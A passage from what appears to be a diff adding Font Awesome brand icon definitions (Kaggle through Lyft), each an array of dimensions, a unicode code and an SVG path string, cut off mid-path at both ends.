237.462c-4.727-2.621-5.664-5.748-6.381-10.776-2.352-16.488-3.539-33.619-9.097-49.095-35.895-99.957-153.99-143.386-246.849-91.646-27.37 15.25-48.971 36.369-65.493 63.903-3.184-1.508-5.458-2.71-7.824-3.686-30.102-12.421-59.049-10.121-85.331 9.167-25.531 18.737-36.422 44.548-32.676 76.408.355 3.025-1.967 7.621-4.514 9.545-39.712 29.992-56.031 78.065-41.902 124.615 13.831 45.569 57.514 79.796 105.608 81.433 30.291 1.031 60.637.546 90.959.539 84.041-.021 168.09.531 252.12-.48 52.664-.634 96.108-36.873 108.212-87.293 11.54-48.074-11.144-97.3-56.832-122.634zm21.107 156.88c-18.23 22.432-42.343 35.253-71.28 35.65-56.874.781-113.767.23-170.652.23 0 .7-163.028.159-163.728.154-43.861-.332-76.739-19.766-95.175-59.995-18.902-41.245-4.004-90.848 34.186-116.106 9.182-6.073 12.505-11.566 10.096-23.136-5.49-26.361 4.453-47.956 26.42-62.981 22.987-15.723 47.422-16.146 72.034-3.083 10.269 5.45 14.607 11.564 22.198-2.527 14.222-26.399 34.557-46.727 60.671-61.294 97.46-54.366 228.37 7.568 230.24 132.697.122 8.15 2.412 12.428 9.848 15.894 57.56 26.829 74.456 96.122 35.142 144.497zm-87.789-80.499c-5.848 31.157-34.622 55.096-66.666 55.095-16.953-.001-32.058-6.545-44.079-17.705-27.697-25.713-71.141-74.98-95.937-93.387-20.056-14.888-41.99-12.333-60.272 3.782-49.996 44.071 15.859 121.775 67.063 77.188 4.548-3.96 7.84-9.543 12.744-12.844 8.184-5.509 20.766-.884 13.168 10.622-17.358 26.284-49.33 38.197-78.863 29.301-28.897-8.704-48.84-35.968-48.626-70.179 1.225-22.485 12.364-43.06 35.414-55.965 22.575-12.638 46.369-13.146 66.991 2.474C295.68 280.7 320.467 323.97 352.185 343.47c24.558 15.099 54.254 7.363 68.823-17.506 28.83-49.209-34.592-105.016-78.868-63.46-3.989 3.744-6.917 8.932-11.41 11.72-10.975 6.811-17.333-4.113-12.809-10.353 20.703-28.554 50.464-40.44 83.271-28.214 31.429 11.714 49.108 44.366 42.76 78.186z"], + "kaggle": [320, 512, [], "f5fa", "M304.2 501.5L158.4 320.3 298.2 185c2.6-2.7 1.7-10.5-5.3-10.5h-69.2c-3.5 0-7 1.8-10.5 5.3L80.9 313.5V7.5q0-7.5-7.5-7.5H21.5Q14 0 14 7.5v497q0 7.5 7.5 7.5h51.9q7.5 0 7.5-7.5v-109l30.8-29.3 110.5 140.6c3 3.5 6.5 5.3 10.5 5.3h66.9q5.25 0 6-3z"], + "keybase": [448, 512, [], "f4f5", "M286.17 419a18 18 0 1 0 18 18 18 18 0 0 0-18-18zm111.92-147.6c-9.5-14.62-39.37-52.45-87.26-73.71q-9.1-4.06-18.38-7.27a78.43 78.43 0 0 0-47.88-104.13c-12.41-4.1-23.33-6-32.41-5.77-.6-2-1.89-11 9.4-35L198.66 32l-5.48 7.56c-8.69 12.06-16.92 23.55-24.34 34.89a51 51 0 0 0-8.29-1.25c-41.53-2.45-39-2.33-41.06-2.33-50.61 0-50.75 52.12-50.75 45.88l-2.36 36.68c-1.61 27 19.75 50.21 47.63 51.85l8.93.54a214 214 0 0 0-46.29 35.54C14 304.66 14 374 14 429.77v33.64l23.32-29.8a148.6 148.6 0 0 0 14.56 37.56c5.78 10.13 14.87 9.45 19.64 7.33 4.21-1.87 10-6.92 3.75-20.11a178.29 178.29 0 0 1-15.76-53.13l46.82-59.83-24.66 74.11c58.23-42.4 157.38-61.76 236.25-38.59 34.2 10.05 67.45.69 84.74-23.84.72-1 1.2-2.16 1.85-3.22a156.09 156.09 0 0 1 2.8 28.43c0 23.3-3.69 52.93-14.88 81.64-2.52 6.46 1.76 14.5 8.6 15.74 7.42 1.57 15.33-3.1 18.37-11.15C429 443 434 414 434 382.32c0-38.58-13-77.46-35.91-110.92zM142.37 128.58l-15.7-.93-1.39 21.79 13.13.78a93 93 0 0 0 .32 19.57l-22.38-1.34a12.28 12.28 0 0 1-11.76-12.79L107 119c1-12.17 13.87-11.27 13.26-11.32l29.11 1.73a144.35 144.35 0 0 0-7 19.17zm148.42 172.18a10.51 10.51 0 0 1-14.35-1.39l-9.68-11.49-34.42 27a8.09 8.09 0 0 1-11.13-1.08l-15.78-18.64a7.38 7.38 0 0 1 1.34-10.34l34.57-27.18-14.14-16.74-17.09 13.45a7.75 7.75 0 0 1-10.59-1s-3.72-4.42-3.8-4.53a7.38 7.38 0 0 1 1.37-10.34L214 225.19s-18.51-22-18.6-22.14a9.56 9.56 0 0 1 1.74-13.42 10.38 10.38 0 0 1 14.3 1.37l81.09 96.32a9.58 9.58 0 0 1-1.74 13.44zM187.44 419a18 18 0 1 0 18 18 18 18 0 0 0-18-18z"], + "keycdn": [512, 512, [], "f3ba", "M63.8 409.3l60.5-59c32.1 42.8 71.1 66 126.6 67.4 30.5.7 60.3-7 86.4-22.4 5.1 5.3 18.5 19.5 20.9 22-32.2 20.7-69.6 31.1-108.1 30.2-43.3-1.1-84.6-16.7-117.7-44.4.3-.6-38.2 37.5-38.6 37.9 9.5 29.8-13.1 62.4-46.3 62.4C20.7 503.3 0 481.7 0 454.9c0-34.3 33.1-56.6 63.8-45.6zm354.9-252.4c19.1 31.3 29.6 67.4 28.7 104-1.1 44.8-19 87.5-48.6 121 .3.3 23.8 25.2 24.1 25.5 9.6-1.3 19.2 2 25.9 9.1 11.3 12 10.9 30.9-1.1 42.4-12 11.3-30.9 10.9-42.4-1.1-6.7-7-9.4-16.8-7.6-26.3-24.9-26.6-44.4-47.2-44.4-47.2 42.7-34.1 63.3-79.6 64.4-124.2.7-28.9-7.2-57.2-21.1-82.2l22.1-21zM104 53.1c6.7 7 9.4 16.8 7.6 26.3l45.9 48.1c-4.7 3.8-13.3 10.4-22.8 21.3-25.4 28.5-39.6 64.8-40.7 102.9-.7 28.9 6.1 57.2 20 82.4l-22 21.5C72.7 324 63.1 287.9 64.2 250.9c1-44.6 18.3-87.6 47.5-121.1l-25.3-26.4c-9.6 1.3-19.2-2-25.9-9.1-11.3-12-10.9-30.9 1.1-42.4C73.5 40.7 92.2 41 104 53.1zM464.9 8c26 0 47.1 22.4 47.1 48.3S490.9 104 464.9 104c-6.3.1-14-1.1-15.9-1.8l-62.9 59.7c-32.7-43.6-76.7-65.9-126.9-67.2-30.5-.7-60.3 6.8-86.2 22.4l-21.1-22C184.1 74.3 221.5 64 260 64.9c43.3 1.1 84.6 16.7 117.7 44.6l41.1-38.6c-1.5-4.7-2.2-9.6-2.2-14.5C416.5 29.7 438.9 8 464.9 8zM256.7 113.4c5.5 0 10.9.4 16.4 1.1 78.1 9.8 133.4 81.1 123.8 159.1-9.8 78.1-81.1 133.4-159.1 123.8-78.1-9.8-133.4-81.1-123.8-159.2 9.3-72.4 70.1-124.6 142.7-124.8zm-59 119.4c.6 22.7 12.2 41.8 32.4 52.2l-11 51.7h73.7l-11-51.7c20.1-10.9 32.1-29 32.4-52.2-.4-32.8-25.8-57.5-58.3-58.3-32.1.8-57.3 24.8-58.2 58.3zM256 160"], + "kickstarter": [448, 512, [], "f3bb", "M400 480H48c-26.4 0-48-21.6-48-48V80c0-26.4 21.6-48 48-48h352c26.4 0 48 21.6 48 48v352c0 26.4-21.6 48-48 48zM199.6 178.5c0-30.7-17.6-45.1-39.7-45.1-25.8 0-40 19.8-40 44.5v154.8c0 25.8 13.7 45.6 40.5 45.6 21.5 0 39.2-14 39.2-45.6v-41.8l60.6 75.7c12.3 14.9 39 16.8 55.8 0 14.6-15.1 14.8-36.8 4-50.4l-49.1-62.8 40.5-58.7c9.4-13.5 9.5-34.5-5.6-49.1-16.4-15.9-44.6-17.3-61.4 7l-44.8 64.7v-38.8z"], + "kickstarter-k": [384, 512, [], "f3bc", "M147.3 114.4c0-56.2-32.5-82.4-73.4-82.4C26.2 32 0 68.2 0 113.4v283c0 47.3 25.3 83.4 74.9 83.4 39.8 0 72.4-25.6 72.4-83.4v-76.5l112.1 138.3c22.7 27.2 72.1 30.7 103.2 0 27-27.6 27.3-67.4 7.4-92.2l-90.8-114.8 74.9-107.4c17.4-24.7 17.5-63.1-10.4-89.8-30.3-29-82.4-31.6-113.6 12.8L147.3 185v-70.6z"], + "korvue": [446, 512, [], "f42f", "M386.5 34h-327C26.8 34 0 60.8 0 93.5v327.1C0 453.2 26.8 480 59.5 480h327.1c33 0 59.5-26.8 59.5-59.5v-327C446 60.8 419.2 34 386.5 34zM87.1 120.8h96v116l61.8-116h110.9l-81.2 132H87.1v-132zm161.8 272.1l-65.7-113.6v113.6h-96V262.1h191.5l88.6 130.8H248.9z"], + "laravel": [512, 512, [], "f3bd", "M504.4,115.83a5.72,5.72,0,0,0-.28-.68,8.52,8.52,0,0,0-.53-1.25,6,6,0,0,0-.54-.71,9.36,9.36,0,0,0-.72-.94c-.23-.22-.52-.4-.77-.6a8.84,8.84,0,0,0-.9-.68L404.4,55.55a8,8,0,0,0-8,0L300.12,111h0a8.07,8.07,0,0,0-.88.69,7.68,7.68,0,0,0-.78.6,8.23,8.23,0,0,0-.72.93c-.17.24-.39.45-.54.71a9.7,9.7,0,0,0-.52,1.25c-.08.23-.21.44-.28.68a8.08,8.08,0,0,0-.28,2.08V223.18l-80.22,46.19V63.44a7.8,7.8,0,0,0-.28-2.09c-.06-.24-.2-.45-.28-.68a8.35,8.35,0,0,0-.52-1.24c-.14-.26-.37-.47-.54-.72a9.36,9.36,0,0,0-.72-.94,9.46,9.46,0,0,0-.78-.6,9.8,9.8,0,0,0-.88-.68h0L115.61,1.07a8,8,0,0,0-8,0L11.34,56.49h0a6.52,6.52,0,0,0-.88.69,7.81,7.81,0,0,0-.79.6,8.15,8.15,0,0,0-.71.93c-.18.25-.4.46-.55.72a7.88,7.88,0,0,0-.51,1.24,6.46,6.46,0,0,0-.29.67,8.18,8.18,0,0,0-.28,2.1v329.7a8,8,0,0,0,4,6.95l192.5,110.84a8.83,8.83,0,0,0,1.33.54c.21.08.41.2.63.26a7.92,7.92,0,0,0,4.1,0c.2-.05.37-.16.55-.22a8.6,8.6,0,0,0,1.4-.58L404.4,400.09a8,8,0,0,0,4-6.95V287.88l92.24-53.11a8,8,0,0,0,4-7V117.92A8.63,8.63,0,0,0,504.4,115.83ZM111.6,17.28h0l80.19,46.15-80.2,46.18L31.41,63.44Zm88.25,60V278.6l-46.53,26.79-33.69,19.4V123.5l46.53-26.79Zm0,412.78L23.37,388.5V77.32L57.06,96.7l46.52,26.8V338.68a6.94,6.94,0,0,0,.12.9,8,8,0,0,0,.16,1.18h0a5.92,5.92,0,0,0,.38.9,6.38,6.38,0,0,0,.42,1v0a8.54,8.54,0,0,0,.6.78,7.62,7.62,0,0,0,.66.84l0,0c.23.22.52.38.77.58a8.93,8.93,0,0,0,.86.66l0,0,0,0,92.19,52.18Zm8-106.17-80.06-45.32,84.09-48.41,92.26-53.11,80.13,46.13-58.8,33.56Zm184.52,4.57L215.88,490.11V397.8L346.6,323.2l45.77-26.15Zm0-119.13L358.68,250l-46.53-26.79V131.79l33.69,19.4L392.37,178Zm8-105.28-80.2-46.17,80.2-46.16,80.18,46.15Zm8,105.28V178L455,151.19l33.68-19.4v91.39h0Z"], + "lastfm": [512, 512, [], "f202", "M225.8 367.1l-18.8-51s-30.5 34-76.2 34c-40.5 0-69.2-35.2-69.2-91.5 0-72.1 36.4-97.9 72.1-97.9 66.5 0 74.8 53.3 100.9 134.9 18.8 56.9 54 102.6 155.4 102.6 72.7 0 122-22.3 122-80.9 0-72.9-62.7-80.6-115-92.1-25.8-5.9-33.4-16.4-33.4-34 0-19.9 15.8-31.7 41.6-31.7 28.2 0 43.4 10.6 45.7 35.8l58.6-7c-4.7-52.8-41.1-74.5-100.9-74.5-52.8 0-104.4 19.9-104.4 83.9 0 39.9 19.4 65.1 68 76.8 44.9 10.6 79.8 13.8 79.8 45.7 0 21.7-21.1 30.5-61 30.5-59.2 0-83.9-31.1-97.9-73.9-32-96.8-43.6-163-161.3-163C45.7 113.8 0 168.3 0 261c0 89.1 45.7 137.2 127.9 137.2 66.2 0 97.9-31.1 97.9-31.1z"], + "lastfm-square": [448, 512, [], "f203", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-92.2 312.9c-63.4 0-85.4-28.6-97.1-64.1-16.3-51-21.5-84.3-63-84.3-22.4 0-45.1 16.1-45.1 61.2 0 35.2 18 57.2 43.3 57.2 28.6 0 47.6-21.3 47.6-21.3l11.7 31.9s-19.8 19.4-61.2 19.4c-51.3 0-79.9-30.1-79.9-85.8 0-57.9 28.6-92 82.5-92 73.5 0 80.8 41.4 100.8 101.9 8.8 26.8 24.2 46.2 61.2 46.2 24.9 0 38.1-5.5 38.1-19.1 0-19.9-21.8-22-49.9-28.6-30.4-7.3-42.5-23.1-42.5-48 0-40 32.3-52.4 65.2-52.4 37.4 0 60.1 13.6 63 46.6l-36.7 4.4c-1.5-15.8-11-22.4-28.6-22.4-16.1 0-26 7.3-26 19.8 0 11 4.8 17.6 20.9 21.3 32.7 7.1 71.8 12 71.8 57.5.1 36.7-30.7 50.6-76.1 50.6z"], + "leanpub": [576, 512, [], "f212", "M386.539 111.485l15.096 248.955-10.979-.275c-36.232-.824-71.64 8.783-102.657 27.997-31.016-19.214-66.424-27.997-102.657-27.997-45.564 0-82.07 10.705-123.516 27.723L93.117 129.6c28.546-11.803 61.484-18.115 92.226-18.115 41.173 0 73.836 13.175 102.657 42.544 27.723-28.271 59.013-41.721 98.539-42.544zM569.07 448c-25.526 0-47.485-5.215-70.542-15.645-34.31-15.645-69.993-24.978-107.871-24.978-38.977 0-74.934 12.901-102.657 40.623-27.723-27.723-63.68-40.623-102.657-40.623-37.878 0-73.561 9.333-107.871 24.978C55.239 442.236 32.731 448 8.303 448H6.93L49.475 98.859C88.726 76.626 136.486 64 181.775 64 218.83 64 256.984 71.685 288 93.095 319.016 71.685 357.17 64 394.225 64c45.289 0 93.049 12.626 132.3 34.859L569.07 448zm-43.368-44.741l-34.036-280.246c-30.742-13.999-67.248-21.41-101.009-21.41-38.428 0-74.385 12.077-102.657 38.702-28.272-26.625-64.228-38.702-102.657-38.702-33.761 0-70.267 7.411-101.009 21.41L50.298 403.259c47.211-19.487 82.894-33.486 135.045-33.486 37.604 0 70.817 9.606 102.657 29.644 31.84-20.038 65.052-29.644 102.657-29.644 52.151 0 87.834 13.999 135.045 33.486z"], + "less": [640, 512, [], "f41d", "M612.7 219c0-20.5 3.2-32.6 3.2-54.6 0-34.2-12.6-45.2-40.5-45.2h-20.5v24.2h6.3c14.2 0 17.3 4.7 17.3 22.1 0 16.3-1.6 32.6-1.6 51.5 0 24.2 7.9 33.6 23.6 37.3v1.6c-15.8 3.7-23.6 13.1-23.6 37.3 0 18.9 1.6 34.2 1.6 51.5 0 17.9-3.7 22.6-17.3 22.6v.5h-6.3V393h20.5c27.8 0 40.5-11 40.5-45.2 0-22.6-3.2-34.2-3.2-54.6 0-11 6.8-22.6 27.3-23.6v-27.3c-20.5-.7-27.3-12.3-27.3-23.3zm-105.6 32c-15.8-6.3-30.5-10-30.5-20.5 0-7.9 6.3-12.6 17.9-12.6s22.1 4.7 33.6 13.1l21-27.8c-13.1-10-31-20.5-55.2-20.5-35.7 0-59.9 20.5-59.9 49.4 0 25.7 22.6 38.9 41.5 46.2 16.3 6.3 32.1 11.6 32.1 22.1 0 7.9-6.3 13.1-20.5 13.1-13.1 0-26.3-5.3-40.5-16.3l-21 30.5c15.8 13.1 39.9 22.1 59.9 22.1 42 0 64.6-22.1 64.6-51s-22.5-41-43-47.8zm-358.9 59.4c-3.7 0-8.4-3.2-8.4-13.1V119.1H65.2c-28.4 0-41 11-41 45.2 0 22.6 3.2 35.2 3.2 54.6 0 11-6.8 22.6-27.3 23.6v27.3c20.5.5 27.3 12.1 27.3 23.1 0 19.4-3.2 31-3.2 53.6 0 34.2 12.6 45.2 40.5 45.2h20.5v-24.2h-6.3c-13.1 0-17.3-5.3-17.3-22.6s1.6-32.1 1.6-51.5c0-24.2-7.9-33.6-23.6-37.3v-1.6c15.8-3.7 23.6-13.1 23.6-37.3 0-18.9-1.6-34.2-1.6-51.5s3.7-22.1 17.3-22.1H93v150.8c0 32.1 11 53.1 43.1 53.1 10 0 17.9-1.6 23.6-3.7l-5.3-34.2c-3.1.8-4.6.8-6.2.8zM379.9 251c-16.3-6.3-31-10-31-20.5 0-7.9 6.3-12.6 17.9-12.6 11.6 0 22.1 4.7 33.6 13.1l21-27.8c-13.1-10-31-20.5-55.2-20.5-35.7 0-59.9 20.5-59.9 49.4 0 25.7 22.6 38.9 41.5 46.2 16.3 6.3 32.1 11.6 32.1 22.1 0 7.9-6.3 13.1-20.5 13.1-13.1 0-26.3-5.3-40.5-16.3l-20.5 30.5c15.8 13.1 39.9 22.1 59.9 22.1 42 0 64.6-22.1 64.6-51 .1-28.9-22.5-41-43-47.8zm-155-68.8c-38.4 0-75.1 32.1-74.1 82.5 0 52 34.2 82.5 79.3 82.5 18.9 0 39.9-6.8 56.2-17.9l-15.8-27.8c-11.6 6.8-22.6 10-34.2 10-21 0-37.3-10-41.5-34.2H290c.5-3.7 1.6-11 1.6-19.4.6-42.6-22.6-75.7-66.7-75.7zm-30 66.2c3.2-21 15.8-31 30.5-31 18.9 0 26.3 13.1 26.3 31h-56.8z"], + "line": [448, 512, [], "f3c0", "M272.1 204.2v71.1c0 1.8-1.4 3.2-3.2 3.2h-11.4c-1.1 0-2.1-.6-2.6-1.3l-32.6-44v42.2c0 1.8-1.4 3.2-3.2 3.2h-11.4c-1.8 0-3.2-1.4-3.2-3.2v-71.1c0-1.8 1.4-3.2 3.2-3.2H219c1 0 2.1.5 2.6 1.4l32.6 44v-42.2c0-1.8 1.4-3.2 3.2-3.2h11.4c1.8-.1 3.3 1.4 3.3 3.1zm-82-3.2h-11.4c-1.8 0-3.2 1.4-3.2 3.2v71.1c0 1.8 1.4 3.2 3.2 3.2h11.4c1.8 0 3.2-1.4 3.2-3.2v-71.1c0-1.7-1.4-3.2-3.2-3.2zm-27.5 59.6h-31.1v-56.4c0-1.8-1.4-3.2-3.2-3.2h-11.4c-1.8 0-3.2 1.4-3.2 3.2v71.1c0 .9.3 1.6.9 2.2.6.5 1.3.9 2.2.9h45.7c1.8 0 3.2-1.4 3.2-3.2v-11.4c0-1.7-1.4-3.2-3.1-3.2zM332.1 201h-45.7c-1.7 0-3.2 1.4-3.2 3.2v71.1c0 1.7 1.4 3.2 3.2 3.2h45.7c1.8 0 3.2-1.4 3.2-3.2v-11.4c0-1.8-1.4-3.2-3.2-3.2H301v-12h31.1c1.8 0 3.2-1.4 3.2-3.2V234c0-1.8-1.4-3.2-3.2-3.2H301v-12h31.1c1.8 0 3.2-1.4 3.2-3.2v-11.4c-.1-1.7-1.5-3.2-3.2-3.2zM448 113.7V399c-.1 44.8-36.8 81.1-81.7 81H81c-44.8-.1-81.1-36.9-81-81.7V113c.1-44.8 36.9-81.1 81.7-81H367c44.8.1 81.1 36.8 81 81.7zm-61.6 122.6c0-73-73.2-132.4-163.1-132.4-89.9 0-163.1 59.4-163.1 132.4 0 65.4 58 120.2 136.4 130.6 19.1 4.1 16.9 11.1 12.6 36.8-.7 4.1-3.3 16.1 14.1 8.8 17.4-7.3 93.9-55.3 128.2-94.7 23.6-26 34.9-52.3 34.9-81.5z"], + "linkedin": [448, 512, [], "f08c", "M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3zM135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5zm282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9V416z"], + "linkedin-in": [448, 512, [], "f0e1", "M100.28 448H7.4V148.9h92.88zM53.79 108.1C24.09 108.1 0 83.5 0 53.8a53.79 53.79 0 0 1 107.58 0c0 29.7-24.1 54.3-53.79 54.3zM447.9 448h-92.68V302.4c0-34.7-.7-79.2-48.29-79.2-48.29 0-55.69 37.7-55.69 76.7V448h-92.78V148.9h89.08v40.8h1.3c12.4-23.5 42.69-48.3 87.88-48.3 94 0 111.28 61.9 111.28 142.3V448z"], + "linode": [448, 512, [], "f2b8", "M437.4 226.3c-.3-.9-.9-1.4-1.4-2l-70-38.6c-.9-.6-2-.6-3.1 0l-58.9 36c-.9.6-1.4 1.7-1.4 2.6l-.9 31.4-24-16c-.9-.6-2.3-.6-3.1 0L240 260.9l-1.4-35.1c0-.9-.6-2-1.4-2.3l-36-24.3 33.7-17.4c1.1-.6 1.7-1.7 1.7-2.9l-5.7-132.3c0-.9-.9-2-1.7-2.6L138.6.3c-.9-.3-1.7-.3-2.3-.3L12.6 38.6c-1.4.6-2.3 2-2 3.7L38 175.4c.9 3.4 34 27.4 38.6 30.9l-26.9 12.9c-1.4.9-2 2.3-1.7 3.4l20.6 100.3c.6 2.9 23.7 23.1 27.1 26.3l-17.4 10.6c-.9.6-1.7 2-1.4 3.1 1.4 7.1 15.4 77.7 16.9 79.1l65.1 69.1c.6.6 1.4.6 2.3.9.6 0 1.1-.3 1.7-.6l83.7-66.9c.9-.6 1.1-1.4 1.1-2.3l-2-46 28 23.7c1.1.9 2.9.9 4 0l66.9-53.4c.9-.6 1.1-1.4 1.1-2.3l2.3-33.4 20.3 14c1.1.9 2.6.9 3.7 0l54.6-43.7c.6-.3 1.1-1.1 1.1-2 .9-6.5 10.3-70.8 9.7-72.8zm-204.8 4.8l4 92.6-90.6 61.2-14-96.6 100.6-57.2zm-7.7-180l5.4 126-106.6 55.4L104 97.7l120.9-46.6zM44 173.1L18 48l79.7 49.4 19.4 132.9L44 173.1zm30.6 147.8L55.7 230l70 58.3 13.7 93.4-64.8-60.8zm24.3 117.7l-13.7-67.1 61.7 60.9 9.7 67.4-57.7-61.2zm64.5 64.5l-10.6-70.9 85.7-61.4 3.1 70-78.2 62.3zm82-115.1c0-3.4.9-22.9-2-25.1l-24.3-20 22.3-14.9c2.3-1.7 1.1-5.7 1.1-8l29.4 22.6.6 68.3-27.1-22.9zm94.3-25.4l-60.9 48.6-.6-68.6 65.7-46.9-4.2 66.9zm27.7-25.7l-19.1-13.4 2-34c.3-.9-.3-2-1.1-2.6L308 259.7l.6-30 64.6 40.6-5.8 66.6zm54.6-39.8l-48.3 38.3 5.7-65.1 51.1-36.6-8.5 63.4z"], + "linux": [448, 512, [], "f17c", "M220.8 123.3c1 .5 1.8 1.7 3 1.7 1.1 0 2.8-.4 2.9-1.5.2-1.4-1.9-2.3-3.2-2.9-1.7-.7-3.9-1-5.5-.1-.4.2-.8.7-.6 1.1.3 1.3 2.3 1.1 3.4 1.7zm-21.9 1.7c1.2 0 2-1.2 3-1.7 1.1-.6 3.1-.4 3.5-1.6.2-.4-.2-.9-.6-1.1-1.6-.9-3.8-.6-5.5.1-1.3.6-3.4 1.5-3.2 2.9.1 1 1.8 1.5 2.8 1.4zM420 403.8c-3.6-4-5.3-11.6-7.2-19.7-1.8-8.1-3.9-16.8-10.5-22.4-1.3-1.1-2.6-2.1-4-2.9-1.3-.8-2.7-1.5-4.1-2 9.2-27.3 5.6-54.5-3.7-79.1-11.4-30.1-31.3-56.4-46.5-74.4-17.1-21.5-33.7-41.9-33.4-72C311.1 85.4 315.7.1 234.8 0 132.4-.2 158 103.4 156.9 135.2c-1.7 23.4-6.4 41.8-22.5 64.7-18.9 22.5-45.5 58.8-58.1 96.7-6 17.9-8.8 36.1-6.2 53.3-6.5 5.8-11.4 14.7-16.6 20.2-4.2 4.3-10.3 5.9-17 8.3s-14 6-18.5 14.5c-2.1 3.9-2.8 8.1-2.8 12.4 0 3.9.6 7.9 1.2 11.8 1.2 8.1 2.5 15.7.8 20.8-5.2 14.4-5.9 24.4-2.2 31.7 3.8 7.3 11.4 10.5 20.1 12.3 17.3 3.6 40.8 2.7 59.3 12.5 19.8 10.4 39.9 14.1 55.9 10.4 11.6-2.6 21.1-9.6 25.9-20.2 12.5-.1 26.3-5.4 48.3-6.6 14.9-1.2 33.6 5.3 55.1 4.1.6 2.3 1.4 4.6 2.5 6.7v.1c8.3 16.7 23.8 24.3 40.3 23 16.6-1.3 34.1-11 48.3-27.9 13.6-16.4 36-23.2 50.9-32.2 7.4-4.5 13.4-10.1 13.9-18.3.4-8.2-4.4-17.3-15.5-29.7zM223.7 87.3c9.8-22.2 34.2-21.8 44-.4 6.5 14.2 3.6 30.9-4.3 40.4-1.6-.8-5.9-2.6-12.6-4.9 1.1-1.2 3.1-2.7 3.9-4.6 4.8-11.8-.2-27-9.1-27.3-7.3-.5-13.9 10.8-11.8 23-4.1-2-9.4-3.5-13-4.4-1-6.9-.3-14.6 2.9-21.8zM183 75.8c10.1 0 20.8 14.2 19.1 33.5-3.5 1-7.1 2.5-10.2 4.6 1.2-8.9-3.3-20.1-9.6-19.6-8.4.7-9.8 21.2-1.8 28.1 1 .8 1.9-.2-5.9 5.5-15.6-14.6-10.5-52.1 8.4-52.1zm-13.6 60.7c6.2-4.6 13.6-10 14.1-10.5 4.7-4.4 13.5-14.2 27.9-14.2 7.1 0 15.6 2.3 25.9 8.9 6.3 4.1 11.3 4.4 22.6 9.3 8.4 3.5 13.7 9.7 10.5 18.2-2.6 7.1-11 14.4-22.7 18.1-11.1 3.6-19.8 16-38.2 14.9-3.9-.2-7-1-9.6-2.1-8-3.5-12.2-10.4-20-15-8.6-4.8-13.2-10.4-14.7-15.3-1.4-4.9 0-9 4.2-12.3zm3.3 334c-2.7 35.1-43.9 34.4-75.3 18-29.9-15.8-68.6-6.5-76.5-21.9-2.4-4.7-2.4-12.7 2.6-26.4v-.2c2.4-7.6.6-16-.6-23.9-1.2-7.8-1.8-15 .9-20 3.5-6.7 8.5-9.1 14.8-11.3 10.3-3.7 11.8-3.4 19.6-9.9 5.5-5.7 9.5-12.9 14.3-18 5.1-5.5 10-8.1 17.7-6.9 8.1 1.2 15.1 6.8 21.9 16l19.6 35.6c9.5 19.9 43.1 48.4 41 68.9zm-1.4-25.9c-4.1-6.6-9.6-13.6-14.4-19.6 7.1 0 14.2-2.2 16.7-8.9 2.3-6.2 0-14.9-7.4-24.9-13.5-18.2-38.3-32.5-38.3-32.5-13.5-8.4-21.1-18.7-24.6-29.9s-3-23.3-.3-35.2c5.2-22.9 18.6-45.2 27.2-59.2 2.3-1.7.8 3.2-8.7 20.8-8.5 16.1-24.4 53.3-2.6 82.4.6-20.7 5.5-41.8 13.8-61.5 12-27.4 37.3-74.9 39.3-112.7 1.1.8 4.6 3.2 6.2 4.1 4.6 2.7 8.1 6.7 12.6 10.3 12.4 10 28.5 9.2 42.4 1.2 6.2-3.5 11.2-7.5 15.9-9 9.9-3.1 17.8-8.6 22.3-15 7.7 30.4 25.7 74.3 37.2 95.7 6.1 11.4 18.3 35.5 23.6 64.6 3.3-.1 7 .4 10.9 1.4 13.8-35.7-11.7-74.2-23.3-84.9-4.7-4.6-4.9-6.6-2.6-6.5 12.6 11.2 29.2 33.7 35.2 59 2.8 11.6 3.3 23.7.4 35.7 16.4 6.8 35.9 17.9 30.7 34.8-2.2-.1-3.2 0-4.2 0 3.2-10.1-3.9-17.6-22.8-26.1-19.6-8.6-36-8.6-38.3 12.5-12.1 4.2-18.3 14.7-21.4 27.3-2.8 11.2-3.6 24.7-4.4 39.9-.5 7.7-3.6 18-6.8 29-32.1 22.9-76.7 32.9-114.3 7.2zm257.4-11.5c-.9 16.8-41.2 19.9-63.2 46.5-13.2 15.7-29.4 24.4-43.6 25.5s-26.5-4.8-33.7-19.3c-4.7-11.1-2.4-23.1 1.1-36.3 3.7-14.2 9.2-28.8 9.9-40.6.8-15.2 1.7-28.5 4.2-38.7 2.6-10.3 6.6-17.2 13.7-21.1.3-.2.7-.3 1-.5.8 13.2 7.3 26.6 18.8 29.5 12.6 3.3 30.7-7.5 38.4-16.3 9-.3 15.7-.9 22.6 5.1 9.9 8.5 7.1 30.3 17.1 41.6 10.6 11.6 14 19.5 13.7 24.6zM173.3 148.7c2 1.9 4.7 4.5 8 7.1 6.6 5.2 15.8 10.6 27.3 10.6 11.6 0 22.5-5.9 31.8-10.8 4.9-2.6 10.9-7 14.8-10.4s5.9-6.3 3.1-6.6-2.6 2.6-6 5.1c-4.4 3.2-9.7 7.4-13.9 9.8-7.4 4.2-19.5 10.2-29.9 10.2s-18.7-4.8-24.9-9.7c-3.1-2.5-5.7-5-7.7-6.9-1.5-1.4-1.9-4.6-4.3-4.9-1.4-.1-1.8 3.7 1.7 6.5z"], + "lyft": [512, 512, [], "f3c3", "M0 81.1h77.8v208.7c0 33.1 15 52.8 27.2 61-12.7 11.1-51.2 20.9-80.2-2.8C7.8 334 0 310.7 0 289V81.1zm485.9 173.5v-22h23.8v-76.8h-26.1c-10.1-46.3-51.2-80.7-100.3-80.7-56.6 0-102.7 46-102.7 102.7V357c16 2.3 35.4-.3 51.7-14 17.1-14 24.8-37.2 24.8-59v-6.7h38.8v-76.8h-38.8v-23.3c0-34.6 52.2-34.6 52.2 0v77.1c0 56.6 46 102.7 102.7 102.7v-76.5c-14.5 0-26.1-11.7-26.1-25.9zm-294.3-99v113c0 15.4-23.8 15.4-23.8 0v-113H91v132.7c0 23.8 8 54 45 63.9 37 9.8 58.2-10.6 58.2-10.6-2.1 